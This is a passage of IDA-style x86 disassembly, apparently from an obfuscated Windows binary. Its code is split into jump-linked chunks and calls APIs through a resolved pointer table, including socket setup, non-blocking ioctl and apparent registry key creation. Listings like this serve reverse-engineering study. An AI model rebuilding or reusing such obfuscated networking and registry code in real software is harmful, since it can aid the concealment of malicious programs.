		jz	loc_9AE6B5
		jmp	loc_9B2AF8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2118


loc_9AFA38:				; CODE XREF: sub_9B2118+3Fj
					; DATA XREF: .text:off_9BA786o
		call	sub_9B14CC
		and	eax, eax
		jz	loc_9B034B
		jmp	loc_9B2AE4
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AFA4C:				; CODE XREF: sub_9AD11C-17F4j
					; DATA XREF: .text:off_9BAD27o
		and	al, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		inc	eax


loc_9AFA56:				; CODE XREF: sub_9AD11C-17FAj
		mov	edi, eax


loc_9AFA58:				; CODE XREF: sub_9AD11C+62B7j
					; sub_9AD11C+65A7j
		push	dword_9BCB74
		pop	edx
		lea	ecx, [esp+18h+var_14]
		push	ecx
		push	8004667Eh
		mov	[esp+20h+var_14], 0
		mov	eax, [edx+10h]
		push	esi
		call	dword ptr [eax+54h]
		and	eax, eax
		push	1
		pop	eax
		jnz	loc_9AD1FA
		jmp	off_9B96D8
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC128


loc_9AFA8C:				; CODE XREF: sub_9AC128+9j
		mov	ecx, dword_9BCB74
		mov	[esp+4+var_4], 10h
		push	dword ptr [ecx+10h]
		pop	edx
		lea	ecx, [esp+4+var_4]
		push	ecx
		push	eax
		push	esi
		call	dword ptr [edx+2Ch]


loc_9AFAA6:				; CODE XREF: sub_9AC128+3j
		test	edi, edi
		jz	loc_9B5E48
		jmp	loc_9B5E2C
; END OF FUNCTION CHUNK	FOR sub_9AC128
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AFAB4:				; CODE XREF: sub_9B63D8-9864j
		mov	edx, dword_9BCB74
		push	dword ptr [edx+14h]
		pop	eax
		push	12h
		push	off_9BA16C
		lea	ecx, [esi+ebp-2120h]
		push	ecx
		call	dword ptr [eax+4]
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_9B2234
		jmp	loc_9ACBA0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AFAE4:				; CODE XREF: sub_9B562C-8175j
					; DATA XREF: .text:off_9BAC79o
		mov	edx, dword_9BCB74
		push	dword ptr [edx+18h]
		pop	eax
		push	esi
		push	edi
		push	ebx
		lea	ecx, [ebp+var_124]
		push	ecx
		call	dword ptr [eax+8]
		test	eax, eax
		jz	loc_9AE77C
		jmp	loc_9AF144
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AFB08:				; CODE XREF: sub_9B4FD0-4529j
					; DATA XREF: .text:off_9B989Fo
		mov	edx, [ebp+20h]
		cmp	dword_9BBF90[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9AFDAC
; END OF FUNCTION CHUNK	FOR sub_9B4FD0

; =============== S U B	R O U T	I N E =======================================



sub_9AFB1C	proc near		; CODE XREF: sub_9B43F4-6EACp

; FUNCTION CHUNK AT 009ACDB4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE7D4 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B02CB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B18CC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B28F0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B3B9C SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B5DA8 SIZE 00000029 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B91AE
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	edi, edx
		mov	esi, ecx
		push	0Ah
		pop	eax
		mov	bx, [edi+8]
		jmp	off_9B9373
sub_9AFB1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AFB58:				; CODE XREF: sub_9B1F68-12A9j
					; DATA XREF: .text:off_9B89C2o
		push	0
		push	esi
		call	sub_9B0E7C
		push	esi


loc_9AFB61:				; CODE XREF: sub_9B1F68-6190j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+10h]
		call	dword ptr [eax+38h]
		mov	dword ptr [ebx], 0


loc_9AFB74:				; CODE XREF: sub_9B1F68-687Aj
					; sub_9B1F68-21E0j ...
		mov	edi, [ebp-34h]
		inc	edi
		jmp	loc_9B01E0
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AFB83:				; CODE XREF: sub_9B3984-80DAj
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		sub	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		push	[ebp+var_1C]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B94BB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		mov	ecx, off_9BA8D0
		call	sub_9B31A8
		call	sub_9AD01C
		jmp	loc_9B10BF
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AFC00:				; CODE XREF: sub_9B0930-3D1Fj
		push	off_9B88CC
		mov	eax, [eax+4]
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+4]
		pop	ecx
		mov	[ecx+4], eax
		push	dword_9BCB74
		jmp	off_9BAF3C
; END OF FUNCTION CHUNK	FOR sub_9B0930

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFC28	proc near		; CODE XREF: sub_9ACF9C+5DCBp
					; sub_9B3E24+16p

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 009AB774 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009ADF17 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AEB00 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF19C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B0888 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 009B0DE4 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9EC4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	esi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, 20h
		call	sub_9AF3E8
		push	eax
		pop	ebx
		mov	[ebp+var_1C], ebx
		or	ebx, ebx
		jz	loc_9ADF17
		jmp	off_9BA3D0
sub_9AFC28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AFC78:				; CODE XREF: sub_9AC6DC-C28j
		mov	ecx, dword_9BBD20
		add	ecx, 14h
		cmp	ecx, 64h
		jle	loc_9B1831
		jmp	off_9B97FA
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AFC90:				; CODE XREF: sub_9B3864-4762j
					; sub_9B3864+1A47j
		sub	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		jmp	loc_9B3D79
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AFCA0	proc near		; CODE XREF: sub_9B1D80-24AFp
					; sub_9B04A8+1p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		pop	eax
		push	eax		; netlong
		call	sub_9A4033
		add	esp, 4
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_9AFCA0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9AFCB4:				; CODE XREF: sub_9B0FD0+C7Fj
		inc	eax
		jmp	loc_9B1018
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9AFCBC:				; CODE XREF: sub_9ACF9C+8CF6j
		push	esi
		pop	ecx
		mov	eax, ecx
		mov	esi, [ebp+8]
		push	dword ptr [ebx+44h]
		pop	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebx
		call	sub_9B3150
		and	eax, eax
		jz	loc_9AF134
		jmp	loc_9B2D30
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AFCE8:				; CODE XREF: sub_9B1D80-3433j
					; DATA XREF: .text:off_9BAEF9o
		sbb	eax, eax
		inc	eax
		mov	[ebp-2064h], eax
		push	ecx
		lea	edx, [ebp-201Ch]
		push	edx
		push	dword ptr [ebp-204Ch]
		pop	ecx
		push	ecx
		push	eax
		push	ebx
		mov	edx, [ebp-2050h]
		push	edx
		push	0
		push	esi


loc_9AFD0D:				; CODE XREF: sub_9B1D80-6CBEj
		push	dword ptr [edi+4]
		pop	esi
		call	sub_9AB040
		push	eax
		push	1
		mov	eax, [ebp-2048h]
		push	eax
		mov	ecx, [ebp-2054h]
		push	ecx
		call	sub_9B2F1C
		add	esp, 30h


loc_9AFD2F:				; CODE XREF: sub_9B1D80+47E5j
		mov	eax, [ebp+10h]
		test	eax, eax
		jnz	loc_9B1D5B
		jmp	loc_9AD2A0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AB7C0


loc_9AFD43:				; CODE XREF: sub_9AB7C0+5Ej
					; sub_9B04A8-3A6Cj ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9AB7C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AFD68:				; CODE XREF: sub_9B1F68+22F4j
					; DATA XREF: .text:off_9B88A2o
		push	0
		push	esi
		call	sub_9B0E7C
		mov	edx, [ebp-38h]
		push	edx
		push	esi
		push	off_9BA0BD
		call	sub_9ABF08
		push	dword ptr [ebp-50h]
		pop	ecx
		mov	[ecx], eax
		or	eax, eax
		jnz	loc_9AFB74
		jmp	off_9BAE6A
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AFD94:				; CODE XREF: sub_9ADAC4-65Fj
					; DATA XREF: .text:off_9B896Fo
		push	eax
		xor	edx, edx
		call	sub_9AD590
		and	eax, eax
		jz	loc_9AAFA3
		jmp	loc_9AAF9C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AFDAC:				; CODE XREF: sub_9B4FD0-54B9j
		mov	ebx, ecx
		mov	[ebp-228h], ebx
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9ACDE1
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AFDC0:				; CODE XREF: sub_9B1F68-510Bj
		mov	edi, ebx
		mov	[ebp-34h], edi
		inc	ebx
		mov	[ebp-30h], ebx
		lea	edi, [edi+edi*2]
		shl	edi, 2
		sub	ecx, ecx
		lea	esi, [edi+ebp-250h]
		push	esi
		pop	edx
		mov	[edx], ecx
		mov	[edx+4], ecx
		mov	[edx+8], ecx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		mov	[esi], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	6
		push	1
		push	2
		call	dword ptr [eax+20h]
		lea	ecx, [edi+ebp-24Ch]
		mov	[ebp-4Ch], ecx
		mov	[ecx], eax
		jmp	off_9BA8B1
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AFE14:				; CODE XREF: sub_9B4950+12F0j
					; DATA XREF: .text:off_9B9978o
		lea	ecx, dword_9BEC34[esi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC38[esi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC3C[esi]
		call	sub_9B31A8
		lea	ecx, dword_9BEC40[esi]
		call	sub_9B31A8


loc_9AFE40:				; CODE XREF: sub_9B4950-98DCj
					; sub_9B4950+12EAj
		inc	edi
		jmp	loc_9ABB3E
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AFE48:				; CODE XREF: sub_9AC6DC-C2Ej
		push	0
		push	55h
		push	edi
		push	esi
		call	__allmul
		push	0
		push	64h
		push	edx
		push	eax
		call	__aulldiv
		cmp	ebx, edx
		ja	loc_9B6188
		jmp	off_9B9F24
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AFE6F:				; CODE XREF: sub_9AB1A0+5397j
					; sub_9AB1A0+ADBFj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	off_9BAD92
		jmp	loc_9B11F8
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AFE8C:				; CODE XREF: sub_9B0930-193Dj
					; DATA XREF: .text:off_9B9A0Co
		push	off_9BA850
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+8], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	dword ptr [eax+8]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B5780
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9AFEC0:				; CODE XREF: sub_9B4CF4-3F21j
		mov	ax, word_9B93B4
		mov	[edi], ax


loc_9AFEC9:				; CODE XREF: sub_9B4CF4-2785j
		test	cl, 2
		jz	loc_9B0E00
		jmp	off_9BAA4D
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AFED8:				; CODE XREF: sub_9B4FD0-136Cj
		push	dword ptr [ebp+1Ch]
		pop	edx
		cmp	dword_9BBF7C[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9AED84
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AFEF0:				; CODE XREF: sub_9B63D8-46ADj
		cmp	dl, 39h
		jg	loc_9AF944
		jmp	loc_9AF9E0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AFF00:				; CODE XREF: sub_9ACEE8-850j
		mov	dl, [eax+ebp-0B0h]
		or	dl, dl
		jnz	loc_9ABB6C
		jmp	off_9BAEF5
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AFF18:				; CODE XREF: sub_9B5904-1569j
					; DATA XREF: .text:off_9B975Do
		mov	esi, eax
		mov	[ebp-20h], esi


loc_9AFF1D:				; CODE XREF: sub_9B5904-465Bj
		cmp	esi, 0FFFFFFFFh
		jz	loc_9B42FE
		jmp	loc_9AC524
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AFF2C:				; CODE XREF: sub_9B03E8+1E20j
		mov	ecx, dword_9BF380
		or	ecx, 2
		mov	word ptr dword_9BF380, cx


loc_9AFF3C:				; CODE XREF: sub_9B03E8+1E1Aj
		cmp	al, 3
		jnz	loc_9AC404
		jmp	off_9B89A2
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AFF4C:				; CODE XREF: sub_9B4950-1817j
		lea	edi, [eax+eax*4]
		shl	edi, 3
		cmp	dword_9BEC1C[edi], ebx
		jz	loc_9B332E
		jmp	off_9B8F9A
; END OF FUNCTION CHUNK	FOR sub_9B4950

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFF64	proc near		; CODE XREF: sub_9AF25C:loc_9AB8CCp
					; sub_9AF25C-2D4Ap

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= byte ptr -224h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009ACBD4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009ACE7C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009ADB20 SIZE 00000070 BYTES
; FUNCTION CHUNK AT 009B0444 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 009B128C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B3DF0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5807 SIZE 0000003A BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9121
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 220h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		sub	edi, edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_228], edi
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], edi
		lea	edx, [ebp+var_120]
		push	edx
		push	3
		call	sub_9B6078
		add	esp, 8
		push	dword_9BBE3C
		pop	eax
		mov	ecx, dword_9BBD28
		cmp	eax, edi
		lea	eax, [ebp+var_224]
		jmp	loc_9B128C
sub_9AFF64	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9AFFE4:				; CODE XREF: sub_9ABD30+26j
					; DATA XREF: .text:off_9B8D14o
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		push	0
		mov	eax, edi
		sub	eax, esi
		push	eax
		lea	ecx, [ebp+esi+0]
		push	ecx
		push	ebx
		call	dword ptr [edx+44h]
		and	eax, eax
		jl	loc_9AF2B4
		jmp	off_9BA5F8
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B000C:				; CODE XREF: sub_9B0930+1730j
					; DATA XREF: .text:off_9B92D5o
		push	offset aLeavecriticals ; "LeaveCriticalSection"
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+1Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+1Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8DB2
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B003C:				; CODE XREF: sub_9AC6DC+5734j
					; sub_9AC6DC:loc_9B3F44j
		mov	eax, dword_9BBD20
		dec	eax
		sub	edx, edx
		or	eax, eax
		setl	dl
		dec	edx
		and	eax, edx


loc_9B004C:				; CODE XREF: sub_9AC6DC-387j
					; sub_9AC6DC+4E99j
		mov	dword_9BBD20, eax


loc_9B0051:				; CODE XREF: sub_9AC6DC+572Ej
					; sub_9AC6DC+9AC4j
		push	dword_9BBD10
		pop	eax


loc_9B0058:				; CODE XREF: sub_9AC6DC+515Bj
		or	eax, ebx
		jnz	loc_9ACC74
		jmp	loc_9B5090
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B0068:				; CODE XREF: sub_9B3864-183j
		pop	ecx
		push	ecx
		mov	eax, [ebp+var_2028]
		xor	edx, edx
		test	eax, eax
		setnz	dl
		push	edx
		call	sub_9B4FD0
		mov	[ebp+var_2070],	eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AF480
		jmp	loc_9B3374
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9B0094:				; CODE XREF: sub_9B3150-6DA6j
		push	ecx
		pop	eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	dword ptr [ebx]
		pop	eax
		mov	ecx, [ebx+48h]
		lea	edx, [eax-200h]
		push	edx		; int
		push	ecx		; int
		lea	eax, [ecx+eax-200h]
		push	eax		; int
		push	dword_9B8A14
		pop	ecx
		push	ecx		; int
		push	Src		; Src
		call	sub_9A8C4C
		add	esp, 14h
		test	eax, eax
		jnz	loc_9AADE4
		jmp	loc_9B5F24
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9B00DC:				; CODE XREF: sub_9B5FC0+4Fj
					; DATA XREF: .text:off_9B9018o
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		call	sub_9B6078
		add	esp, 8
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp+var_124]
		push	eax
		push	20006h
		push	0
		lea	ecx, [ebp+var_120]
		push	ecx
		sub	eax, eax
		and	esi, esi
		setnz	al
		add	eax, 80000001h
		push	eax
		call	dword ptr [edx+20h]
		test	eax, eax
		jnz	loc_9B2D27
		jmp	off_9BAB56
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9B012F:				; CODE XREF: sub_9B2010-3903j
					; sub_9B2010+39B6j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BEBF4
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9B014C:				; CODE XREF: sub_9B35A0-2B84j
					; DATA XREF: .text:off_9B8DF3o
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B10EA
		jmp	loc_9B10DC
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B015C:				; CODE XREF: sub_9AB1A0+2A7Dj
					; DATA XREF: .text:off_9B9F5Eo
		mov	ecx, dword_9BEC20[eax]
		or	ecx, ecx
		jz	loc_9ACCA6
		jmp	loc_9ADFDC
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADB10


loc_9B0170:				; CODE XREF: sub_9ADB10+Bj
		mov	edx, dword_9B9A54
		mov	[edi], edx
		mov	eax, dword_9B9A58
		mov	[edi+4], eax
		push	dword_9B9A5C
		pop	ecx
		mov	[edi+8], ecx
		push	dword_9B9A60
		pop	edx
		mov	[edi+0Ch], edx
		mov	eax, dword_9B9A64
		mov	[edi+10h], eax
		mov	cx, word_9B9A68
		mov	[edi+14h], cx
; END OF FUNCTION CHUNK	FOR sub_9ADB10
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9B01A7:				; CODE XREF: sub_9B27D8-3201j
		mov	edi, ebx
		dec	edi


loc_9B01AA:				; CODE XREF: sub_9B27D8-2628j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9B01AA
		jmp	loc_9B0F40
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B01B8:				; CODE XREF: sub_9B04A8-3262j
					; sub_9B04A8+1449j
		inc	dword ptr [ebp-4048h]
		jmp	loc_9ACA32
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9B01C4:				; CODE XREF: sub_9B2C70-5B81j
					; DATA XREF: .text:off_9B9010o
		push	0
		push	ebx
		call	sub_9B0E7C
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		push	ebx


loc_9B01D8:				; CODE XREF: sub_9B2C70-42AAj
		call	dword ptr [edx+38h]
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B01DB:				; CODE XREF: sub_9B1F68-4A7j
					; sub_9B1F68-2BAj
		dec	dword ptr [ebp-30h]


loc_9B01DE:				; CODE XREF: sub_9B1F68-5111j
					; sub_9B2C70-5B87j ...
		xor	edi, edi


loc_9B01E0:				; CODE XREF: sub_9B1F68-23F0j
					; sub_9B1F68+4276j ...
		mov	[ebp-34h], edi
		mov	ebx, [ebp-30h]
		cmp	edi, ebx
		jnb	loc_9B5EE0
		jmp	off_9B8D3E
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		dd 90C3310Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B01F8:				; CODE XREF: sub_9B3864-647Ej
		and	ebx, ebx
		js	loc_9AE2AC
		jmp	loc_9B28CC
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B0208:				; CODE XREF: sub_9B1D80+3572j
		jnb	loc_9B5354
		jmp	loc_9B1E30
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B0218:				; CODE XREF: sub_9AD97C+61j
		push	ecx
		call	dword ptr [eax+20h]
		and	eax, eax
		jz	loc_9AF884
		jmp	off_9B99EE
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B022C	proc near		; CODE XREF: sub_9B2118-1B5Fp
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	edi
		push	off_9B9632
		call	dword ptr [ecx+68h]
		xor	edx, edx
		xor	eax, eax
		mov	dword_9BCBB4, edx
		mov	dword_9BCBB8, edx
		mov	dword_9BCBBC, edx
		mov	dword_9BCBC0, edx
		mov	edi, off_9B985C
		mov	ecx, 801h
		mov	dword_9BCBC4, edx
		rep stosd
		mov	dword_9BCBC8, edx
		mov	dword_9BEBD0, eax
		mov	dword_9BEBD4, eax
		pop	edi
		retn
sub_9B022C	endp

